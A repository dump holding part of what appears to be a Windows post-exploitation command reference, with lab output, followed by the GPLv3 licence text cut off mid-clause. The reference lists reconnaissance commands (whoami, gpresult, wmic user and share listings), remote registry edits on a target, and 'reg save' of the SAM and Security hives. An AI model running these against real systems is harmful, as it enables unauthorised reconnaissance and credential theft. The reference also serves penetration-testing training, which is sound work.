25 | * **Command**: `echo`
26 | * **Command with arguments**: `echo %COMSPEC%%`
27 | * **Description**: Determine the location of the command line interpreter such as cmd.exe.
28 | * **Output**:
29 | *
30 |
31 | ### fsutil
32 | * **Command**: `set`
33 | * **Command with arguments**: `fsutil fsinfo drives`
34 | * **Description**: **Must be ADMIN to run this.** Lists the current drives on the system.
35 | * **Output**:
36 | *
**Windows 2008:** Show/Hide
C:\Windows\system32>fsutil fsinfo drives
Drives: A:\ C:\ D:\
37 |
38 | ### gpresult
39 | * **Command**: `gpresult`
40 | * **Command with arguments**: `gpresult /z`
41 | * **Description**: Extremely verbose output of GPO (Group policy) settings as applied to the current system and user.
42 | * **Output**:
43 | *
**Windows 2008:** Show/Hide
C:\Users\johndoe>gpresult /z
Microsoft (R) Windows (R) Operating System Group Policy Result tool v2.0 Copyright (C) Microsoft Corp. 1981-2001
Created On 10/15/2013 at 7:02:05 PM
RSOP data for LAB\johndoe on WIN-0P19ULL2NB6 : Logging Mode ------------------------------------------------------------
OS Configuration: Primary Domain Controller OS Version: 6.0.6002 Site Name: N/A Roaming Profile: N/A Local Profile: C:\Users\johndoe Connected over a slow link?: No
USER SETTINGS -------------- CN=johndoe,CN=Users,DC=lab,DC=sky,DC=net Last time Group Policy was applied: 10/12/2013 at 6:20:23 PM Group Policy was applied from: WIN-0P19ULL2NB6.lab.sky.net Group Policy slow link threshold: 500 kbps Domain Name: LAB Domain Type: Windows 2000
Applied Group Policy Objects ----------------------------- N/A
The following GPOs were not applied because they were filtered out ------------------------------------------------------------------- Local Group Policy Filtering: Not Applied (Empty)
Default Domain Policy Filtering: Not Applied (Empty)
The user is a part of the following security groups --------------------------------------------------- Domain Users Everyone BUILTIN\Users BUILTIN\Administrators BUILTIN\Pre-Windows 2000 Compatible Access NT AUTHORITY\INTERACTIVE NT AUTHORITY\Authenticated Users This Organization LOCAL High Mandatory Level
The user has the following security privileges ----------------------------------------------
Resultant Set Of Policies for User -----------------------------------
44 |
45 | ### set
46 | * **Command**: `set`
47 | * **Command with arguments**: NA
48 | * **Description**: Shows all current environmental variables. Specific ones to look for are USERDOMAIN, USERNAME, USERPROFILE, HOMEPATH, LOGONSERVER, COMPUTERNAME, APPDATA, and ALLUSERPROFILE.
49 | * **Output**:
50 | *
51 |
52 | ### whoami
53 | * **Command**: `whoami`
54 | * **Command with arguments**: `whoami /all`
55 | * **Description**: Lists information about the user you are currently logged in as. Helpful for showing what groups, sid and privileges of this user. Not available in all versions of Windows but is in Windows Vista and more recent. According to [Wikipedia](http://en.wikipedia.org/wiki/Whoami), this command can be added to Windows 2000 using the resource kit and is installed in Windows XP SP2 Support Tools.
56 | * **Output**:
57 | *
**Windows 2008:** Show/Hide
C:\Users\johndoe>whoami lab\johndoe
C:\Users\johndoe>whoami/all
USER INFORMATION ----------------
User Name SID =========== =========================================== lab\johndoe S-1-5-21-60789211-843652525-1994898995-1001
GROUP INFORMATION -----------------
Group Name Type SID Attributes ========================================== ================ ============ ================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group BUILTIN\Administrators Alias S-1-5-32-544 Group used for deny only BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Group used for deny only NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group Mandatory Label\Medium Mandatory Level Unknown SID type S-1-16-8192 Mandatory group, Enabled by default, Enabled group
PRIVILEGES INFORMATION ----------------------
Privilege Name Description State ============================= ==================================== ======== SeShutdownPrivilege Shut down the system Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeUndockPrivilege Remove computer from docking station Disabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled
58 |
59 | ### type
60 | * **Command**: `type`
61 | * **Command with arguments**: `type %WINDIR%\System32\drivers\etc\hosts`
62 | * **Description**: Show the contents of a file. In this case, you can get the system's host file which does the local translation of IP address to hostname. This file may contain important servers.
63 | * **Output**:
64 | *
**Windows 2008:** Show/Hide
C:\Users\johndoe>type %WINDIR%\System32\drivers\etc\hosts # Copyright (c) 1993-2006 Microsoft Corp. # # This is a sample HOSTS file used by Microsoft TCP/IP for Windows. # # This file contains the mappings of IP addresses to host names. Each # entry should be kept on an individual line. The IP address should # be placed in the first column followed by the corresponding host name. # The IP address and the host name should be separated by at least one # space. # # Additionally, comments (such as these) may be inserted on individual # lines or following the machine name denoted by a '#' symbol. # # For example: # # 102.54.94.97 rhino.acme.com # source server # 38.25.63.10 x.acme.com # x client host
127.0.0.1 localhost ::1 localhost
65 | ----
66 |
67 | ## Registry (reg)
68 | For more information: http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/reg.mspx?mfr=true or http://www.petri.co.il/reg_command_in_windows_xp.htm
69 |
70 | ### Add
71 | * **Command with arguments**: `reg add [\\TargetIPaddr\] [RegDomain\Key]`
72 | * **Description**: Adds a key to target machine's registry. Replace [\\TargetIPaddr] with your target system, [RegDomain\Key] with the registry domain and key you'd like to insert.
73 | * **Output**:
74 | * NA
75 |
76 | ### Export
77 | * **Command with arguments**: `reg export [RegDomain\Key] [OUTFILE]`
78 | * **Description**: Exports a key to a file. Replace [RegDomain\Key] with the registry domain and key you'd like to insert and [OUTFILE] with the name of the file you would like to save the registry key in.
79 | * **Output**:
80 | * NA
81 |
82 | ### Import
83 | * **Command with arguments**: `reg import [INFILE]`
84 | * **Description**: Imports content to target machine's registry. Replace [INFILE] with the file that has the content you wish to insert.
85 | * **Output**:
86 | * NA
87 |
88 | ### Query (Local)
89 | * **Command with arguments**: `reg query HKLM /s /d /f "C:\* *.exe" | find /I "C:\" | find /V """"`
90 | * **Description**: Securely registered executables within the system registry.
91 | * **Output**:
92 | *
93 |
94 | ### Query (Remote)
95 | * **Command with arguments**: `reg query [\\TargetIPaddr\] [RegDomain\Key] /v [ValueName]`
96 | * **Description**: Retrieves a key and value from target machine's registry. Replace [\\TargetIPaddr] with your target system, [RegDomain\Key] with the registry domain and key you'd like to query.
97 | * **Output**:
98 | * NA
99 |
100 | ### Save
101 | * **Command with arguments**: `reg save [HIVE] [OUTFILE]`
102 | * **Description**: **Must be run as an administrator.** Saves part of the registry to a file. Replace [HIVE] with HKLM\Security, HKLM\System, or HKLM\SAM and [OUTFILE] with the name of the file you would like to save the registry in.
103 | * **Output**:
104 | *
**Windows 2008:** Show/Hide
c:\temp>reg save HKLM\Security security.hive && dir The operation completed successfully. Volume in drive C has no label. Volume Serial Number is 1A09-5F16 Directory of c:\temp 10/26/2013 11:17 PM . 10/26/2013 11:17 PM .. 10/26/2013 11:17 PM 32,768 security.hive 1 File(s) 32,768 bytes 2 Dir(s) 33,312,219,136 bytes free
105 | ----
106 |
107 | ## sc
108 | sc.exe retrieves and sets control information about services. You can use sc.exe for testing and debugging service programs. For more information: http://technet.microsoft.com/en-us/library/bb490995.aspx.
109 |
Help details can be found if you expand this section here: Show/Hide
C:\Users\tester>sc
110 | DESCRIPTION:
111 | SC is a command line program used for communicating with the
112 | Service Control Manager and services.
113 | USAGE:
114 | sc [command] [service name] ...
115 |
116 | The option has the form "\\ServerName"
117 | Further help on commands can be obtained by typing: "sc [command]"
118 | Commands:
119 | query-----------Queries the status for a service, or
120 | enumerates the status for types of services.
121 | queryex---------Queries the extended status for a service, or
122 | enumerates the status for types of services.
123 | start-----------Starts a service.
124 | pause-----------Sends a PAUSE control request to a service.
125 | interrogate-----Sends an INTERROGATE control request to a service.
126 | continue--------Sends a CONTINUE control request to a service.
127 | stop------------Sends a STOP request to a service.
128 | config----------Changes the configuration of a service (persistent).
129 | description-----Changes the description of a service.
130 | failure---------Changes the actions taken by a service upon failure.
131 | failureflag-----Changes the failure actions flag of a service.
132 | sidtype---------Changes the service SID type of a service.
133 | privs-----------Changes the required privileges of a service.
134 | qc--------------Queries the configuration information for a service.
135 | qdescription----Queries the description for a service.
136 | qfailure--------Queries the actions taken by a service upon failure.
137 | qfailureflag----Queries the failure actions flag of a service.
138 | qsidtype--------Queries the service SID type of a service.
139 | qprivs----------Queries the required privileges of a service.
140 | qtriggerinfo----Queries the trigger parameters of a service.
141 | qpreferrednode--Queries the preferred NUMA node of a service.
142 | delete----------Deletes a service (from the registry).
143 | create----------Creates a service. (adds it to the registry).
144 | control---------Sends a control to a service.
145 | sdshow----------Displays a service's security descriptor.
146 | sdset-----------Sets a service's security descriptor.
147 | showsid---------Displays the service SID string corresponding to an arbitrary name.
148 | triggerinfo-----Configures the trigger parameters of a service.
149 | preferrednode---Sets the preferred NUMA node of a service.
150 | GetDisplayName--Gets the DisplayName for a service.
151 | GetKeyName------Gets the ServiceKeyName for a service.
152 | EnumDepend------Enumerates Service Dependencies.
153 |
154 | The following commands don't require a service name:
155 | sc
162 |
163 | ### Query Configuration
164 | * **Command with arguments**: `sc qc [servicename]`
165 | * **Description**: Queries the configuration information for a service. Things to look at here are the path to the executable, the start type (does it start at boot or on demand?), and service names.
166 | * **Output**:
167 | *
170 |
171 | ### Query Status
172 | * **Command with arguments**: `sc query [servicename]`
173 | * **Description**: Queries the status for a service, or enumerates the status for types of services.
174 | * **Output**:
175 | *
176 |
177 | ### Query Status Extended
178 | * **Command with arguments**: `sc queryex [servicename]`
179 | * **Description**: Queries the status for a service, or enumerates the status for types of services.
180 | * **Output**:
181 | *
183 | ----
184 |
185 | ## wmi
186 | According to Microsoft (http://msdn.microsoft.com/en-us/library/aa394531(v=vs.85).aspx), "the WMI command-line (WMIC) utility provides a command-line interface for WMI. WMIC is compatible with existing shells and utility commands." Additional information can also be found here https://isc.sans.edu/diary/Windows+Command-Line+Kung+Fu+with+WMIC/1229.
187 |
188 | For some of these `wmic` commands that pull information (versus perform an action) you can add `list full` to the end and retrieve the data in a non-table format. Sometimes this view is easier to read. Using `list brief` shows less data. The examples below show several output formats.
189 |
190 | ### BIOS Information
191 | * **Command with arguments**: `wmic bios [list full]`
192 | * **Description**: Retrieves BIOS information including system serial number.
193 | * **Output**:
194 | *
195 |
196 | ### Disk Information
197 | * **Command with arguments**: `wmic logicaldisk where drivetype=3 get name, freespace, systemname, filesystem, size, volumeserialnumber`
198 | * **Description**: Retrieve information about the harddrive.
199 | * **Output**:
200 | *
**Windows 2008:** Show/Hide
C:\Users\johndoe>wmic logicaldisk where drivetype=3 get name, freespace, systemname, filesystem, size, volumeserialnumber FileSystem FreeSpace Name Size SystemName VolumeSerialNumber NTFS 33311481856 C: 42947571712 WIN-0P19ULL2NB6 1A095F16
201 |
202 | ### Patch IDs
203 | * **Command with arguments**: `wmic qfe get hotfixid`
204 | * **Description**: Retrieves BIOS information including system serial number.
205 | * **Output**:
206 | *
**Windows 2008:** Show/Hide
C:\Users\johndoe>wmic qfe get hotfixid HotFixID KB955430
207 |
208 | ### Process Create
209 | * **Command with arguments**: `wmic process call create [EXECUTABLE]`
210 | * **Description**: Launches an executable. Replace [EXECUTABLE] with the name of the executable you'd like to launch (for example: calc.exe). Do not include quotes around the value (for example: *DO* use calc.exe; do *NOT* use "calc.exe").
211 | * **Output**:
212 | *
**Windows 2008:** Show/Hide
C:\Users\johndoe>wmic process call create calc.exe Executing (Win32_Process)->Create() Method execution successful. Out Parameters: instance of __PARAMETERS { ProcessId = 1936; ReturnValue = 0; };
213 |
214 | ### Process Information
215 | * **Command with arguments**: `wmic process get caption,executablepath,commandline`
216 | * **Description**: Retrieves process names, captions, executable paths and command line flags.
217 | * **Output**:
218 | *
**Windows 2008:** Show/Hide
C:\Users\johndoe>wmic process get caption,executablepath,commandline Caption CommandLine ExecutablePath System Idle Process System smss.exe csrss.exe [...SNIP...] dllhost.exe dwm.exe "C:\Windows\system32\Dwm.exe" C:\Windows\system32\Dwm.exe taskeng.exe taskeng.exe {72464C44-C181-4387-A20A-569E0267D2AF} C:\Windows\system32\taskeng.exe TPAutoConnect.exe TPAutoConnect.exe -q -i vmware -a COM1 -F 30 C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe explorer.exe C:\Windows\Explorer.EXE C:\Windows\Explorer.EXE VMwareTray.exe "C:\Program Files\VMware\VMware Tools\VMwareTray.exe" C:\Program Files\VMware\VMware Tools\VMwareTray.exe vmtoolsd.exe "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr C:\Program Files\VMware\VMware Tools\vmtoolsd.exe cmd.exe "C:\Windows\System32\cmd.exe" C:\Windows\System32\cmd.exe cmd.exe TrustedInstaller.exe WMIC.exe wmic process get caption,executablepath,commandline C:\Windows\System32\Wbem\WMIC.exe WmiPrvSE.exe
219 |
220 | ### Process Terminate
221 | * **Command with arguments**: `wmic process where name="[PROCESS]" call terminate`
222 | * **Description**: Terminates a process. Replace [PROCESS] with the name of the process you'd like to terminate and you *DO* need the quotes around it (for example: calc.exe).
223 | * **Output**:
224 | *
**Windows 2008:** Show/Hide
C:\Users\johndoe>wmic process where name="calc.exe" call terminate Executing (\\WIN-0P19ULL2NB6\ROOT\CIMV2:Win32_Process.Handle="1936")->terminate() Method execution successful. Out Parameters: instance of __PARAMETERS { ReturnValue = 0; };
225 |
226 | ### Service Information
227 | * **Command with arguments**: `wmic service [list full]`
228 | * **Description**: Retrieves ton of information about all the services installed on the system.
229 | * **Output**:
230 | *
**Windows 2008:** Show/Hide
C:\Users\johndoe>wmic service list full
AcceptPause=FALSE AcceptStop=TRUE Caption=Application Experience CheckPoint=0 CreationClassName=Win32_Service Description=Processes application compatibility cache requests for applications as they are launched DesktopInteract=FALSE DisplayName=Application Experience ErrorControl=Normal ExitCode=0 InstallDate= Name=AeLookupSvc PathName=C:\Windows\system32\svchost.exe -k netsvcs ProcessId=1056 ServiceSpecificExitCode=0 ServiceType=Share Process Started=TRUE StartMode=Auto StartName=localSystem State=Running Status=OK SystemCreationClassName=Win32_ComputerSystem SystemName=WIN-0P19ULL2NB6 TagId=0 WaitHint=0
AcceptPause=FALSE AcceptStop=FALSE Caption=Application Layer Gateway Service CheckPoint=0 CreationClassName=Win32_Service Description=Provides support for 3rd party protocol plug-ins for Internet Connection Sharing DesktopInteract=FALSE DisplayName=Application Layer Gateway Service ErrorControl=Normal ExitCode=1077 InstallDate= Name=ALG PathName=C:\Windows\System32\alg.exe ProcessId=0 ServiceSpecificExitCode=0 ServiceType=Own Process Started=FALSE StartMode=Manual StartName=NT AUTHORITY\LocalService State=Stopped Status=OK SystemCreationClassName=Win32_ComputerSystem SystemName=WIN-0P19ULL2NB6 TagId=0 WaitHint=0 [...Truncated for brevity...]
231 |
232 | ### Share Information
233 | * **Command with arguments**: `wmic share [list brief]`
234 | * **Description**: Retrieve information about local shares.
235 | * **Output**:
236 | *
**Windows 2008:** Show/Hide
C:\Users\johndoe>wmic share list brief
237 | Description Name Path
238 | Remote Admin ADMIN$ C:\Windows
239 | Default share C$ C:\
240 | Remote IPC IPC$
241 | Logon server share NETLOGON C:\Windows\SYSVOL\sysvol\lab.sky.net\SCRIPTS
242 | Logon server share SYSVOL C:\Windows\SYSVOL\sysvol
243 |
244 | ### Startup Items
245 | * **Command with arguments**: `wmic startup [list brief]`
246 | * **Description**: Shows startup items, which user runs them and full paths to the executables.
247 | * **Output**:
248 | *
**Windows 2008:** Show/Hide
C:\Users\johndoe>wmic startup list brief Caption Command User VMware Tools "C:\Program Files\VMware\VMware Tools\VMwareTray.exe" Public VMware User Process "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr Public
249 |
250 | ### User Information
251 | * **Command with arguments**: `wmic useraccount [list full]`
252 | * **Description**: Retrieve information about the user accounts on the system.
253 | * **Output**:
254 | *
**Windows 2008:** Show/Hide
C:\Users\johndoe>wmic useraccount list full
AccountType=512 Description=Built-in account for administering the computer/domain Disabled=FALSE Domain=LAB FullName= InstallDate= LocalAccount=FALSE Lockout=FALSE Name=Administrator PasswordChangeable=TRUE PasswordExpires=TRUE PasswordRequired=TRUE SID=S-1-5-21-60789211-843652525-1994898995-500 SIDType=1 Status=OK
AccountType=512 Description=Key Distribution Center Service Account Disabled=TRUE Domain=LAB FullName= InstallDate= LocalAccount=FALSE Lockout=FALSE Name=krbtgt PasswordChangeable=TRUE PasswordExpires=TRUE PasswordRequired=TRUE SID=S-1-5-21-60789211-843652525-1994898995-502 SIDType=1 Status=Degraded
--------------------------------------------------------------------------------
/mdwiki-0.5.8/GPLv3.txt:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU General Public License is a free, copyleft license for
11 | software and other kinds of works.
12 |
13 | The licenses for most software and other practical works are designed
14 | to take away your freedom to share and change the works. By contrast,
15 | the GNU General Public License is intended to guarantee your freedom to
16 | share and change all versions of a program--to make sure it remains free
17 | software for all its users. We, the Free Software Foundation, use the
18 | GNU General Public License for most of our software; it applies also to
19 | any other work released this way by its authors. You can apply it to
20 | your programs, too.
21 |
22 | When we speak of free software, we are referring to freedom, not
23 | price. Our General Public Licenses are designed to make sure that you
24 | have the freedom to distribute copies of free software (and charge for
25 | them if you wish), that you receive source code or can get it if you
26 | want it, that you can change the software or use pieces of it in new
27 | free programs, and that you know you can do these things.
28 |
29 | To protect your rights, we need to prevent others from denying you
30 | these rights or asking you to surrender the rights. Therefore, you have
31 | certain responsibilities if you distribute copies of the software, or if
32 | you modify it: responsibilities to respect the freedom of others.
33 |
34 | For example, if you distribute copies of such a program, whether
35 | gratis or for a fee, you must pass on to the recipients the same
36 | freedoms that you received. You must make sure that they, too, receive
37 | or can get the source code. And you must show them these terms so they
38 | know their rights.
39 |
40 | Developers that use the GNU GPL protect your rights with two steps:
41 | (1) assert copyright on the software, and (2) offer you this License
42 | giving you legal permission to copy, distribute and/or modify it.
43 |
44 | For the developers' and authors' protection, the GPL clearly explains
45 | that there is no warranty for this free software. For both users' and
46 | authors' sake, the GPL requires that modified versions be marked as
47 | changed, so that their problems will not be attributed erroneously to
48 | authors of previous versions.
49 |
50 | Some devices are designed to deny users access to install or run
51 | modified versions of the software inside them, although the manufacturer
52 | can do so. This is fundamentally incompatible with the aim of
53 | protecting users' freedom to change the software. The systematic
54 | pattern of such abuse occurs in the area of products for individuals to
55 | use, which is precisely where it is most unacceptable. Therefore, we
56 | have designed this version of the GPL to prohibit the practice for those
57 | products. If such problems arise substantially in other domains, we
58 | stand ready to extend this provision to those domains in future versions
59 | of the GPL, as needed to protect the freedom of users.
60 |
61 | Finally, every program is threatened constantly by software patents.
62 | States should not allow patents to restrict development and use of
63 | software on general-purpose computers, but in those that do, we wish to
64 | avoid the special danger that patents applied to a free program could
65 | make it effectively proprietary. To prevent this, the GPL assures that
66 | patents cannot be used to render the program non-free.
67 |
68 | The precise terms and conditions for copying, distribution and
69 | modification follow.
70 |
71 | TERMS AND CONDITIONS
72 |
73 | 0. Definitions.
74 |
75 | "This License" refers to version 3 of the GNU General Public License.
76 |
77 | "Copyright" also means copyright-like laws that apply to other kinds of
78 | works, such as semiconductor masks.
79 |
80 | "The Program" refers to any copyrightable work licensed under this
81 | License. Each licensee is addressed as "you". "Licensees" and
82 | "recipients" may be individuals or organizations.
83 |
84 | To "modify" a work means to copy from or adapt all or part of the work
85 | in a fashion requiring copyright permission, other than the making of an
86 | exact copy. The resulting work is called a "modified version" of the
87 | earlier work or a work "based on" the earlier work.
88 |
89 | A "covered work" means either the unmodified Program or a work based
90 | on the Program.
91 |
92 | To "propagate" a work means to do anything with it that, without
93 | permission, would make you directly or secondarily liable for
94 | infringement under applicable copyright law, except executing it on a
95 | computer or modifying a private copy. Propagation includes copying,
96 | distribution (with or without modification), making available to the
97 | public, and in some countries other activities as well.
98 |
99 | To "convey" a work means any kind of propagation that enables other
100 | parties to make or receive copies. Mere interaction with a user through
101 | a computer network, with no transfer of a copy, is not conveying.
102 |
103 | An interactive user interface displays "Appropriate Legal Notices"
104 | to the extent that it includes a convenient and prominently visible
105 | feature that (1) displays an appropriate copyright notice, and (2)
106 | tells the user that there is no warranty for the work (except to the
107 | extent that warranties are provided), that licensees may convey the
108 | work under this License, and how to view a copy of this License. If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 |
112 | 1. Source Code.
113 |
114 | The "source code" for a work means the preferred form of the work
115 | for making modifications to it. "Object code" means any non-source
116 | form of a work.
117 |
118 | A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 |
123 | The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form. A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 |
134 | The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities. However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not part of the work. For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 |
147 | The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 |
151 | The Corresponding Source for a work in source code form is that
152 | same work.
153 |
154 | 2. Basic Permissions.
155 |
156 | All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met. This License explicitly affirms your unlimited
159 | permission to run the unmodified Program. The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work. This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 |
164 | You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force. You may convey covered works to others for the sole purpose
167 | of having them make modifications exclusively for you, or provide you
168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright. Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 |
175 | Conveying under any other circumstances is permitted solely under
176 | the conditions stated below. Sublicensing is not allowed; section 10
177 | makes it unnecessary.
178 |
179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180 |
181 | No covered work shall be deemed part of an effective technological
182 | measure under any applicable law fulfilling obligations under article
183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184 | similar laws prohibiting or restricting circumvention of such
185 | measures.
186 |
187 | When you convey a covered work, you waive any legal power to forbid
188 | circumvention of technological measures to the extent such circumvention
189 | is effected by exercising rights under this License with respect to
190 | the covered work, and you disclaim any intention to limit operation or
191 | modification of the work as a means of enforcing, against the work's
192 | users, your or third parties' legal rights to forbid circumvention of
193 | technological measures.
194 |
195 | 4. Conveying Verbatim Copies.
196 |
197 | You may convey verbatim copies of the Program's source code as you
198 | receive it, in any medium, provided that you conspicuously and
199 | appropriately publish on each copy an appropriate copyright notice;
200 | keep intact all notices stating that this License and any
201 | non-permissive terms added in accord with section 7 apply to the code;
202 | keep intact all notices of the absence of any warranty; and give all
203 | recipients a copy of this License along with the Program.
204 |
205 | You may charge any price or no price for each copy that you convey,
206 | and you may offer support or warranty protection for a fee.
207 |
208 | 5. Conveying Modified Source Versions.
209 |
210 | You may convey a work based on the Program, or the modifications to
211 | produce it from the Program, in the form of source code under the
212 | terms of section 4, provided that you also meet all of these conditions:
213 |
214 | a) The work must carry prominent notices stating that you modified
215 | it, and giving a relevant date.
216 |
217 | b) The work must carry prominent notices stating that it is
218 | released under this License and any conditions added under section
219 | 7. This requirement modifies the requirement in section 4 to
220 | "keep intact all notices".
221 |
222 | c) You must license the entire work, as a whole, under this
223 | License to anyone who comes into possession of a copy. This
224 | License will therefore apply, along with any applicable section 7
225 | additional terms, to the whole of the work, and all its parts,
226 | regardless of how they are packaged. This License gives no
227 | permission to license the work in any other way, but it does not
228 | invalidate such permission if you have separately received it.
229 |
230 | d) If the work has interactive user interfaces, each must display
231 | Appropriate Legal Notices; however, if the Program has interactive
232 | interfaces that do not display Appropriate Legal Notices, your
233 | work need not make them do so.
234 |
235 | A compilation of a covered work with other separate and independent
236 | works, which are not by their nature extensions of the covered work,
237 | and which are not combined with it such as to form a larger program,
238 | in or on a volume of a storage or distribution medium, is called an
239 | "aggregate" if the compilation and its resulting copyright are not
240 | used to limit the access or legal rights of the compilation's users
241 | beyond what the individual works permit. Inclusion of a covered work
242 | in an aggregate does not cause this License to apply to the other
243 | parts of the aggregate.
244 |
245 | 6. Conveying Non-Source Forms.
246 |
247 | You may convey a covered work in object code form under the terms
248 | of sections 4 and 5, provided that you also convey the
249 | machine-readable Corresponding Source under the terms of this License,
250 | in one of these ways:
251 |
252 | a) Convey the object code in, or embodied in, a physical product
253 | (including a physical distribution medium), accompanied by the
254 | Corresponding Source fixed on a durable physical medium
255 | customarily used for software interchange.
256 |
257 | b) Convey the object code in, or embodied in, a physical product
258 | (including a physical distribution medium), accompanied by a
259 | written offer, valid for at least three years and valid for as
260 | long as you offer spare parts or customer support for that product
261 | model, to give anyone who possesses the object code either (1) a
262 | copy of the Corresponding Source for all the software in the
263 | product that is covered by this License, on a durable physical
264 | medium customarily used for software interchange, for a price no
265 | more than your reasonable cost of physically performing this
266 | conveying of source, or (2) access to copy the
267 | Corresponding Source from a network server at no charge.
268 |
269 | c) Convey individual copies of the object code with a copy of the
270 | written offer to provide the Corresponding Source. This
271 | alternative is allowed only occasionally and noncommercially, and
272 | only if you received the object code with such an offer, in accord
273 | with subsection 6b.
274 |
275 | d) Convey the object code by offering access from a designated
276 | place (gratis or for a charge), and offer equivalent access to the
277 | Corresponding Source in the same way through the same place at no
278 | further charge. You need not require recipients to copy the
279 | Corresponding Source along with the object code. If the place to
280 | copy the object code is a network server, the Corresponding Source
281 | may be on a different server (operated by you or a third party)
282 | that supports equivalent copying facilities, provided you maintain
283 | clear directions next to the object code saying where to find the
284 | Corresponding Source. Regardless of what server hosts the
285 | Corresponding Source, you remain obligated to ensure that it is
286 | available for as long as needed to satisfy these requirements.
287 |
288 | e) Convey the object code using peer-to-peer transmission, provided
289 | you inform other peers where the object code and Corresponding
290 | Source of the work are being offered to the general public at no
291 | charge under subsection 6d.
292 |
293 | A separable portion of the object code, whose source code is excluded
294 | from the Corresponding Source as a System Library, need not be
295 | included in conveying the object code work.
296 |
297 | A "User Product" is either (1) a "consumer product", which means any
298 | tangible personal property which is normally used for personal, family,
299 | or household purposes, or (2) anything designed or sold for incorporation
300 | into a dwelling. In determining whether a product is a consumer product,
301 | doubtful cases shall be resolved in favor of coverage. For a particular
302 | product received by a particular user, "normally used" refers to a
303 | typical or common use of that class of product, regardless of the status
304 | of the particular user or of the way in which the particular user
305 | actually uses, or expects or is expected to use, the product. A product
306 | is a consumer product regardless of whether the product has substantial
307 | commercial, industrial or non-consumer uses, unless such uses represent
308 | the only significant mode of use of the product.
309 |
310 | "Installation Information" for a User Product means any methods,
311 | procedures, authorization keys, or other information required to install
312 | and execute modified versions of a covered work in that User Product from
313 | a modified version of its Corresponding Source. The information must
314 | suffice to ensure that the continued functioning of the modified object
315 | code is in no case prevented or interfered with solely because
316 | modification has been made.
317 |
318 | If you convey an object code work under this section in, or with, or
319 | specifically for use in, a User Product, and the conveying occurs as
320 | part of a transaction in which the right of possession and use of the
321 | User Product is transferred to the recipient in perpetuity or for a
322 | fixed term (regardless of how the transaction is characterized), the
323 | Corresponding Source conveyed under this section must be accompanied
324 | by the Installation Information. But this requirement does not apply
325 | if neither you nor any third party retains the ability to install
326 | modified object code on the User Product (for example, the work has
327 | been installed in ROM).
328 |
329 | The requirement to provide Installation Information does not include a
330 | requirement to continue to provide support service, warranty, or updates
331 | for a work that has been modified or installed by the recipient, or for
332 | the User Product in which it has been modified or installed. Access to a
333 | network may be denied when the modification itself materially and
334 | adversely affects the operation of the network or violates the rules and
335 | protocols for communication across the network.
336 |
337 | Corresponding Source conveyed, and Installation Information provided,
338 | in accord with this section must be in a format that is publicly
339 | documented (and with an implementation available to the public in
340 | source code form), and must require no special password or key for
341 | unpacking, reading or copying.
342 |
343 | 7. Additional Terms.
344 |
345 | "Additional permissions" are terms that supplement the terms of this
346 | License by making exceptions from one or more of its conditions.
347 | Additional permissions that are applicable to the entire Program shall
348 | be treated as though they were included in this License, to the extent
349 | that they are valid under applicable law. If additional permissions
350 | apply only to part of the Program, that part may be used separately
351 | under those permissions, but the entire Program remains governed by
352 | this License without regard to the additional permissions.
353 |
354 | When you convey a copy of a covered work, you may at your option
355 | remove any additional permissions from that copy, or from any part of
356 | it. (Additional permissions may be written to require their own
357 | removal in certain cases when you modify the work.) You may place
358 | additional permissions on material, added by you to a covered work,
359 | for which you have or can give appropriate copyright permission.
360 |
361 | Notwithstanding any other provision of this License, for material you
362 | add to a covered work, you may (if authorized by the copyright holders of
363 | that material) supplement the terms of this License with terms:
364 |
365 | a) Disclaiming warranty or limiting liability differently from the
